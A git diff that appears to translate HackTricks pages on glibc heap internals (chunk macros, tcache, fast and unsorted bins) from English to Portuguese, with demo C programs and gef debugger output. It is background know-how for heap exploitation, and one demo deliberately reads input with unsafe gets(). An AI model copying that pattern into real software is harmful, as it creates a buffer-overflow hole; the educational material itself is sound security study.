malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - -- Insue bit - +- Insira bit ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- Defina cabeçalho e rodapé (quando números de chunk estão em uso) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- Obtenha o tamanho dos dados utilizáveis reais dentro do chunk ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## Exemplos -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### Exemplo Rápido de Heap +Exemplo rápido de heap de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mas em arm64: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +Defina um ponto de interrupção no final da função principal e vamos descobrir onde a informação foi armazenada:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +É possível ver que a string panda foi armazenada em `0xaaaaaaac12a0` (que foi o endereço dado como resposta pelo malloc dentro de `x0`). Verificando 0x10 bytes antes, é possível ver que o `0x0` representa que o **chunk anterior não está em uso** (comprimento 0) e que o comprimento deste chunk é `0x21`. +Os espaços extras reservados (0x21-0x10=0x11) vêm dos **cabeçalhos adicionados** (0x10) e 0x1 não significa que foi reservado 0x21B, mas os últimos 3 bits do comprimento do cabeçalho atual têm alguns significados especiais. Como o comprimento é sempre alinhado a 16 bytes (em máquinas de 64 bits), esses bits na verdade nunca serão usados pelo número de comprimento. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### Exemplo de Multithreading
Multithread - ```c #include #include @@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +Depurando o exemplo anterior, é possível ver como no início há apenas 1 arena:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +Então, após chamar o primeiro thread, aquele que chama malloc, uma nova arena é criada:
-and inside of it some chunks can be found: +e dentro dela alguns chunks podem ser encontrados:
-## Bins & Memory Allocations/Frees +## Bins & Alocações/Liberções de Memória -Check what are the bins and how are they organized and how memory is allocated and freed in: +Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em: {{#ref}} bins-and-memory-allocations.md {{#endref}} -## Heap Functions Security Checks +## Verificações de Segurança das Funções de Heap -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +As funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Referências - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..7dcac0966 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +Para melhorar a eficiência de como os chunks são armazenados, cada chunk não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e há 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequenos, 63 bins grandes, 1 bin não ordenado, 10 bins rápidos e 64 bins tcache por thread. -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +O endereço inicial para cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é utilizado, 1 é o bin não ordenado, os bins 2-64 são bins pequenos e os bins 65-127 são bins grandes. -### Tcache (Per-Thread Cache) Bins +### Bins Tcache (Cache por Thread) -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +Embora as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), existe a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a principal solução é o uso de **lockers**, que podem **reduzir significativamente a velocidade das threads**. -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Portanto, um tcache é semelhante a um bin rápido por thread na forma como é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**Quando uma thread libera** um chunk, **se não for muito grande** para ser alocado no tcache e o respectivo bin tcache **não estiver cheio** (já 7 chunks), **ele será alocado lá**. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente. -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +Quando um **chunk é alocado**, se houver um chunk livre do tamanho necessário no **Tcache, ele o usará**, se não, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\ +Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
-Add a tcache chunk example - +Adicionar um exemplo de chunk tcache ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. Então, com gef, você pode ver o bin tcache em uso: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Estruturas e Funções Tcache -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +No código a seguir, é possível ver os **max bins** e **chunks por índice**, a estrutura **`tcache_entry`** criada para evitar liberações duplas e **`tcache_perthread_struct`**, uma estrutura que cada thread usa para armazenar os endereços de cada índice do bin.
-tcache_entry and tcache_perthread_struct - +tcache_entry e tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +A função `__tcache_init` é a função que cria e aloca o espaço para o objeto `tcache_perthread_struct`
-tcache_init code - +código tcache_init ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Índices Tcache -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, localizando o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache. -### Fast bins +### Bins Rápidos -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO). -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +Além disso, **bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks em bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações. -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk mais recentemente liberado daquele tamanho. Então: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível. +- Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço deste chunk recém-liberado será colocado no cabeçalho. -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de forma que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> Chunks em bins rápidos não são definidos como disponíveis, então eles são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao seu redor. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +Adicionar um exemplo de chunk fastbin ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Observe como alocamos e liberamos 8 pedaços do mesmo tamanho para que preencham o tcache e o oitavo é armazenado no fast chunk. -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +Compile-o e depure-o com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um pedaço está no fast bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
-### Unsorted bin +### Bin não ordenado -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou fast bin e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não ordenado." -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +Quando um programa **pede memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um bloco de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um bloco adequado no bin não ordenado, ele move todos os blocos dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho. -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +Observe que se um bloco maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não ordenado. -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +Portanto, o bin não ordenado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas. > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> Observe que mesmo que os blocos sejam de categorias diferentes, se um bloco disponível estiver colidindo com outro bloco disponível (mesmo que originalmente pertençam a bins diferentes), eles serão mesclados.
-Add a unsorted chunk example - +Adicionar um exemplo de bloco não ordenado ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Observe como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +Compile-o e depure-o com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
